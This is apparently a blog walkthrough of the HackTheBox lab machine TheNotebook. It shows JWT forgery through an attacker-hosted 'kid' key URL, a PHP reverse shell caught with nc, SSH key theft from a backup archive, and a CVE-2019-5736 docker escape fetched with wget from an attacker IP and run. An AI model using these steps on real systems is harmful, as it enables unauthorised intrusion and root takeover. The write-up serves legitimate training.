TheNotebook - [HTB]

Cover Image for TheNotebook - [HTB]
Marmeus
Marmeus

Introduction

Thenotebook is a medium linux machine from HackTheBox where tha attacker will have to modify a JWT cookie in a notes web page becoming administrator. Then, the attacker will have to upload a php reverse shell, so he or she can extract the user's ssh key from a backup file. Finally, in order to become root the attacker will have to exploit a docker vulnerability.

Enumeration

As always let's begin looking for every opened port in the machine with nmap.

kali@kali:$ sudo nmap -p- -n -T5 -oN AllPorts.txt 10.129.93.4
Warning: 10.129.93.4 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.93.4
Host is up (0.037s latency).
Not shown: 65461 closed ports, 72 filtered ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Sat Mar  6 16:43:43 2021 -- 1 IP address (1 host up) scanned in 110.06 seconds

Then, we continue with a deeper scan of every opened port, getting more information about each service.

kali@kali:$ sudo nmap -sS -sC -sV -p22,80 -n -T5 -oN PortsDepth.txt 10.129.93.84
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-07 14:12 EST
Nmap scan report for 10.129.93.84
Host is up (0.038s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 86:df:10:fd:27:a3:fb:d8:36:a7:ed:90:95:33:f5:bf (RSA)
|   256 e7:81:d6:6c:df:ce:b7:30:03:91:5c:b5:13:42:06:44 (ECDSA)
|_  256 c6:06:34:c7:fc:00:c4:62:06:c2:36:0e:ee:5e:bf:6b (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: The Notebook - Your Note Keeper
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.80 seconds

Because SSH never is vulnrable let's jump to the weppage.

TheNotebook web page

Using gobuster we can fin the following directories.

kali@kali:$ gobuster dir -t 40 -u http://10.10.87.179/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://thenotebook.htb/
[+] Threads:        200
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2021/03/06 22:36:28 Starting gobuster
===============================================================
/admin (Status: 403)
/login (Status: 200)
/logout (Status: 302)
/register (Status: 200)
===============================================================
2021/03/06 22:36:50 Finished
===============================================================

Trying to access to the /admin return a 403 FORBIDDEN status code, so there must be a way to get access to it.

Once we are registered and logged into the NoteBook web page, we can see a that there are two cookies, which one seems to be encoded in base64.

Thenotebook cookies

Trying to decode it with cypherchef I got the following result.

Cookie decoded

This cookie seems to be like a JSON Web Token, JWT for short, which has an admin_cap set to 0. A JWT token is an Internet proposed standard for creating data with optional signature and/or optional encryption whose payload holds JSON that asserts some number of claims. The tokens are signed either using a private secret or a public/private key. For example, a server could generate a token that has the claim "logged in as admin" and provide that to a client.

Explotation

Hence, we can create our own JWT token with the admin_cap parameter set to 1, using our machine as the server that validates the key, used for generating the HMAC in the cookie.

To tackle this problem, first I generated an ssh key used for generating the HMAC.

kali@kali:/mnt/hgfs/2_MisPostsBlog/HTB/TheNotebook$ ssh-keygen -t rsa -b 1024 -m PEM -f privKey.key
Generating public/private rsa key pair.                                                        
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in privKey.key
Your public key has been saved in privKey.key.pub                                                  
The key fingerprint is:
SHA256:U6nCQGxyuXQzI8mMPU8bV8JQmHD4nhFE9TUFJ/7vE7k kali@kali                    
The key's randomart image is:                               
+---[RSA 1024]----+                               
|   *oB=B+.. =oo  |                               
|  o.#.@ oo + +   |                               
|   =.O O  + .    |                               
|    .o=  o   .   |                               
|     .ooS     . .|                               
|      o. .     + |                               
|                +|                               
|               E |                               
|                o|                              
+----[SHA256]-----+ 

Then, we can generate the cookie using jwt.io and the following parameters.

HEADER

{
  "alg": "RS256",
  "typ": "JWT",
  "kid":"http://10.10.15.26:7070/privKey.key"
}

PAYLOAD

{"username":"admin","email":"as@b.c","admin_cap":1}

VERIFY SIGNATURE

kali@kali:/mnt/hgfs/2_MisPostsBlog/HTB/TheNotebook$ cat privKey.key
-----BEGIN RSA PRIVATE KEY-----
MIICXAIBAAKBgQD043XKd62njtc5tly9C1RUZjf9Pqb+7q7xdCxSqFk8a5PgcOyL
pKYOWMKI5hzrd2VBtZVLH/79FB6OgA/lRsxFBXrDaB/EtYfcRhdAY+uNBni9UqQC
OLzDSvhx18EqOQke7BWxitRcKy2IdrviCeI/tiMBgHbZENM1MqIjAKqGdQIDAQAB
AoGAc9MlgjaqrsaTq1tCb7NtFmImdyPr7kXL/q24zPuNAVPMZGpkpwOf+scmc4OL
CB+3h6Wv0BF5FBAxB6swWXvr3oiINJHQhm8QpjUJ61/YsZ/fqCWsJr9HmFfUrajj
CCLl8wdGZQCpXhtsIIlW6rrDyIofLBx4ygTai5BwQ8bVlkECQQD6vUCvcayrghxA
QJKIJRAfe0alh8qQRPnmVqIU3yowG4drdJvPzSypS/xKq0upHH0jH/sCj0IsmbPo
BUQJXoVlAkEA+gbITVr3ZS7ggesw1FmdnGkEwkzNBB0bhAYaaJEBWT6tjUDoetQw
YnAHoUmQkx1CnLoD3DSGYo5JfqUgx7Kz0QJAQAPpa+F90Bvb0pupzZCI2UDD/Kb6
lHLHyoL7xpBjWPzuSgTvctJTQLXhp76sBnT7jegwUar5niFvySDvCeVT8QJBANw1
RwtieAxk+hVTCMGuYDOXBzr+G39pB4gDPBUmyZJJst968IbmBetdEktKmIwJtFaH
Oskidc2t1is10qYvzVECQER3qnQoryNfEoaTa0aXCCDagvEljMHNvKURJjZdtImn
XEVxRZGddV7WSdmjzmuzGGbcRFl7y7EbPz/aTuUoE3Q=
-----END RSA PRIVATE KEY-----
JWT Token

Finally, we only have to create a python web server at port 7070, that is being executed in the same folder as where the key has been stored; change our auth cookie and access to http://10.129.93.4/admin.

Admin panel

Now, we are able to upload a php reverse shell to the web page in order to get access into the machine.

Upload file

Then, once uploaded the file we need to create a listening port with nc and click in "View" to obtain our reverse shell.

View file

Privilege escalation 1

Enumerating inside the machine, we can find the file home.tar.gz in the /var/bakcups folder. Coping it to the /tmp/ folder and extracting its contents we can retrieve noah's SSH private key.

www-data@thenotebook:/var/backups/$ tar -xvf home.tar.gz -C /tmp/
home/
home/noah/
home/noah/.bash_logout
home/noah/.cache/
home/noah/.cache/motd.legal-displayed
home/noah/.gnupg/
home/noah/.gnupg/private-keys-v1.d/
home/noah/.bashrc
home/noah/.profile
home/noah/.ssh/
home/noah/.ssh/id_rsa
home/noah/.ssh/authorized_keys
home/noah/.ssh/id_rsa.pub

Privilege escalation 2

Executing the command sudo -l noah can execute any command inside the docker container webapp-dev01* .

noah@thenotebook:~$ sudo -l
Matching Defaults entries for noah on thenotebook:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User noah may run the following commands on thenotebook:
    (ALL) NOPASSWD: /usr/bin/docker exec -it webapp-dev01*

In order to become root in this machine we need to exploit a vulnerability associate with the docker's version.

noah@thenotebook:~$ docker version
Client:
Version:           18.06.0-ce
API version:       1.38
Go version:        go1.10.3
Git commit:        0ffa825
Built:             Wed Jul 18 19:09:54 2018
OS/Arch:           linux/amd64
Experimental:      false

Searching online vulnerabilities for docker exec 18.06 we can obtain the vulnerability CVE-2019-5736 which has several exploits associated. However, the only that works is written in go and you can find on this GitHub repository. Note: This exploit has dangerous side effects on the machine, thus if the exploit doesn't work you will need to reset the machine.

In order to obtain the root flag we need to download the file main.go which is available in the aforementioned GitHub repository. Then, modify the var payload as follows.

var payload = "##!/bin/bash \n cat /root/root.txt > /tmp/flag && chmod 777 /tmp/flag"

After that, we need to compile the file with go build main.go obtaining a file named main. Note: If you do not have the go compiler you can install it with sudo apt install golang-go -y.

Now, we need to get a shell in the docker container.

noah@thenotebook:~$ sudo /usr/bin/docker exec -it webapp-dev01 bash
root@6c3f7875bc63:/opt/webapp# 

Create a python web server for downloading the exploit into the container. Command: sudo python3 -m http.server 80

root@6c3f7875bc63:/opt/webapp# wget 10.10.15.26/main;chmod +x main;./main 
--2021-03-07 20:14:38--  http://10.10.15.26/main
Connecting to 10.10.15.26:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2236814 (2.1M) [application/octet-stream]
Saving to: ‘main’

main                      100%[=====================================>]   2.13M   707KB/s    in 3.1s    

2021-03-07 20:14:41 (707 KB/s) - ‘main’ saved [2236814/2236814]

[+] Overwritten /bin/sh successfully

At this point, you need to open another terminal inside the container ASAP.

sudo /usr/bin/docker exec -it webapp-dev01 bash

Then , you will obtain the following output in the terminal where the exploit has been executed. Meaning, that the execution of the exploit has been completed.

[+] Found the PID: 54
[+] Successfully got the file handle
[+] Successfully got write handle &{0xc000350060}

Finally, we only have to exit from the container so we can obtain our flag at /tmp/flag.